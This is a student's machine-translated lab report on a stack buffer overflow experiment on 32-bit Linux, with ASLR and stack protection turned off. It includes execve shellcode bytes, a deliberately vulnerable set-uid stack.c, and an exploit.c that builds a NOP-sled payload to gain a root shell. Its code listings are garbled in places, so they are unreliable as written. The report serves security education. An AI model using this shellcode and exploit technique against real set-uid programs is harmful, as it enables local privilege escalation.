Linux experiment--Buffer Overflow Vulnerability experiment

Source: Internet
Author: User
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Linux experiment--Buffer Overflow Vulnerability experiment

20125102 Wang Zhaoyang

First, the experimental description

A buffer overflow is a scenario in which a program attempts to write to a buffer beyond the pre-allocated fixed-length data. This vulnerability could be exploited by malicious users to alter the flow control of a program, or even execute arbitrary fragments of code. This vulnerability occurs because of a temporary shutdown of the data buffer and the return address, which causes the return address to be rewritten.

II. Preparation of the experiment

The lab building provides 64-bit Ubuntu Linux (System user name Shiyanlou, password Shiyanlou), and this experiment to facilitate the observation of the assembly statements, we need to operate in 32-bit environment, so before the experiment needs to do some preparation.

1. Enter a command to install something that compiles a 32-bit C program:

sudo apt-get update

Figure 1

sudo apt-get install lib32z1 libc6-dev-i386

Figure 2

sudo apt-get install Lib32readline-gplv2-dev

Figure 3

Third, the experimental steps

Practice One:

1 Initial Setup

In Ubuntu and some other Linux systems, the initial address of random heap (heap) and stack (stack) is randomized using address space, which makes it difficult to guess the exact memory address, and guessing the memory address is the key to the buffer overflow attack. So in this experiment, we use the following command to turn off this feature:

sudo sysctl-w kernel.randomize_va_space=0

Figure 4

In addition, in order to further protect against buffer overflow attacks and other attacks using shell programs, many shell programs automatically abandon their privileges when called. Therefore, even if you can trick a set-uid program into invoking a shell, you cannot maintain root privileges in the shell, which is implemented in/bin/bash.

In a Linux system,/bin/sh is actually a symbolic link to/bin/bash or/bin/dash. To reproduce the situation before this protective measure was implemented, we used another shell program (zsh) instead of/bin/bash. The following instructions describe how to set up the ZSH program:

sudo su



Ln-s zsh SH


Figure 5

2 Shellcode

In general, a buffer overflow can cause a program to crash, and in the program, the overflow data overwrites the return address. And if the data that overwrites the return address is another address, then the program jumps to that address, and if the address is a piece of well-designed code to implement other functions, this code is shellcode.

Observe the following code:

#include <stdio.h>

int main ()


Char *name[2];

Name[0] = "/bin/sh";


Execve (Name[0], name, NULL);


The shellcode of this experiment is the compiled version of the code just now:

\x31\xc0\x50\x68 "//sh" \x68 "/bin" \x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3 Vulnerability Procedures

Save the following code as a "stack.c" file and save it to the/tmp directory. The code is as follows:

/* STACK.C */

/* This program has a buffer overflow vulnerability. */

/* Our task was to exploit this vulnerability */

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int BOF (char *str)


Char buffer[12];

/* The following statement has a buffer overflow problem */

strcpy (buffer, str);

return 1;


int main (int argc, char **argv)


Char str[517];

FILE *badfile;

Badfile = fopen ("Badfile", "R");

Fread (str, sizeof (char), 517, badfile);

BOF (str);

printf ("returned properly\n");

return 1;


The code lets you know that the program reads a file named "Badfile" and loads the contents of the file into "buffer".

Compile the program, and set the Set-uid. The command is as follows:

sudo su

Gcc-m32-g-Z execstack-fno-stack-protector-o Stack stack.c

chmod U+s Stack


The GCC compiler has a stack protection mechanism to prevent buffer overflows, so we need to use –fno-stack-protector to close this mechanism when compiling the code. The-Z execstack is used to allow execution of the stack.

Figure 6

4 Attack Program

Our goal is to attack the vulnerability program just now and gain root access through the attack.

Save the following code as a "exploit.c" file and save it to the/tmp directory. The code is as follows:


/* A program this creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

Char shellcode[]=



"\x68" "//sh"//PUSHL $0x68732f2f

"\x68" "/bin"//PUSHL $0x6e69622f






"\XB0\X0B"//movb $0x0b,%al

"\xcd\x80"//int $0x80


void Main (int argc, char **argv)


Char buffer[517];

FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */

memset (&buffer, 0x90, 517);

/* need to fill the buffer with appropriate contents here */

strcpy (buffer, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\ X90\x?? \x?? \x?? \x?? ");

strcpy (Buffer+100,shellcode);

/* Save the contents to the file "badfile" */

Badfile = fopen ("./badfile", "w");

fwrite (buffer, 517, 1, badfile);

Fclose (Badfile);


Figure 7

Notice the above code, "\x??" \x?? \x?? \x?? " Need to add shellcode to the address stored in memory because the location can overwrite the return address just after an overflow occurs.

and strcpy (Buffer+100,shellcode); This sentence tells us again that Shellcode is stored in the buffer+100 position.

Now we're going to get shellcode in-memory address, enter the command:

GDB Stack

Disass Main

The next steps:

Figure 8

Modify EXPLOIT.C file Now! Then, compile the EXPLOIT.C program:

Gcc-m32-o Exploit exploit.c

5 Attack results

Run the attack program exploit before running the vulnerability stack and observe the results:

Figure 9

Visible, through the attack, get the root permission!

Exercise two:

Through the command "sudo sysctl-w kernel.randomize_va_space=2" to open the system's address space randomization mechanism, repeatedly using the exploit program to attack the stack program, to see if the attack succeeds, can gain root privileges.

Figure 10

As you can see from the diagram, the attack failed without root access.

Exercise Three:

Re-point the/bin/sh to/bin/bash (or/bin/dash) to see if the attack succeeds and root privileges can be obtained.

Figure 11

As we know from the diagram, the attack failed without root access.

Experimental summary: In the experimental phase, the address space is randomized to the initial address of the random heap (heap) and stack (stack), which makes it difficult to guess the exact memory address. Therefore, it is necessary to turn off the address randomization, fixed address, which makes the address guessing easier. The attacker writes a badfile file, replaces some of these bytes with the previously computed bytes, and when the vulnerability program reads the Badfile file, because there is no limit to the length of the input, causing the return value to be overwritten by the previously substituted byte, and when the program returns, jumps to the pre-specified address. Root permission was obtained and the attack was completed.

In practice two, the address space randomization is turned on, causing the previously computed address to be different from the actual address, thus not completing the attack. This experiment has made me understand the role of stack address and permissions, the randomization of the initial stack address and the abandonment of root permissions are very important to prevent hackers from using buffer overflow attacks. On the other hand, we should pay attention to the processing of the buffer when we write the program, reduce the hacker attack way. At the same time, we should learn more about the knowledge of Linux in the future, and strive to be able to have a better grasp of it in the next experiment.

Linux experiment--Buffer Overflow Vulnerability experiment

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